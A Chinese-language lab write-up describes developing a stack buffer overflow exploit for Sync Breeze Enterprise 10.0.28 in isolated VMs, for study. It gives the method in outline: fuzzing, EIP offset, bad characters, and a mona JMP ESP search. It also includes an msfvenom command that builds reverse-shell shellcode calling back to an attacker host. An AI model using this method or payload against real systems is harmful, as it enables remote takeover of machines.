在受控的实验室环境中,研究经典的基于栈的缓冲区溢出漏洞,用于教育目的。
本项目旨在更好地理解:
第一步是在一台配置用于漏洞研究和漏洞利用开发的 Windows 10 虚拟机中安装
Sync Breeze Enterprise 10.0.28。
环境被隔离,以确保安全且受控的测试。
两台虚拟机(目标机和攻击机)均配置为使用 桥接网络适配器模式,以便在漏洞利用过程中允许系统之间进行直接网络通信。


配置了调试工具,用于分析应用程序在运行时的行为,并观察崩溃条件。
向应用程序发送大量字节序列,以确定触发崩溃所需的大致缓冲区大小。
在确定崩溃阈值后,使用发现的载荷大小再次测试应用程序,以确认该漏洞。
确定了覆盖指令指针(EIP)所需的确切偏移量。
生成唯一模式:
/usr/bin/msf-pattern_create -l <SIZE>
识别偏移量:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
其中:
<SIZE> = 模糊测试期间发现的载荷长度<EIP_VALUE> = 观察到的覆盖 EIP 的 4 字节值
识别了坏字符,以确定哪些字节无法被应用程序安全处理。
在没有启用 ASLR 的模块中定位合适的 JMP ESP 指令。
枚举已加载的模块:
!mona modules
搜索 JMP ESP:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
由于存在静态内存地址,优先选择了应用程序特定的 DLL。

验证了载荷执行流程,以确保正确重定向到受控缓冲区。
生成 Shellcode 时排除了先前识别的坏字符。
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
在 Shellcode 之前添加了 NOP 滑板(\x90),以提高载荷执行的可靠性。

最终的漏洞利用已在隔离的实验室环境中成功组装并测试。
本项目严格出于教育和研究目的,在隔离的实验室环境中开发。